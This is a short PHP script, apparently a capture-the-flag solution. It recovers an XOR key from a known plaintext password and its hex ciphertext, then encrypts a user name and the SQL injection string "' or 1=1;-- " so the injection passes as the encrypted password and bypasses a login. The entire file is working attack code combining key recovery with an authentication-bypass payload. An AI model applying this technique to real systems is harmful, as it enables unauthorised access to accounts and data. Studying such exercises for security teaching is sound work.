<?php
function encrypt($string, $secret)
{
  for($i = 0; $i < strlen($string); $i++)
  {
    $string[$i] = ($string[$i] ^ $secret[$i % strlen($secret)]);
  }

  return $string;
}

$user = "Daryl";

$bin_pwd = "questaeunapassword!!";
$hex_enc_pwd = "121c0a10170e171c1d0e13081c101400000d524e";
$enc_pwd = hex2bin($hex_enc_pwd);

$secret = encrypt($bin_pwd, $enc_pwd);

$injection = "' or 1=1;-- ";

$enc_user = bin2hex(encrypt($user, $secret));
$enc_injection = bin2hex(encrypt($injection, $secret));

print("User: ");
print($enc_user);
print("\nPassword: ");
print($enc_injection);
?>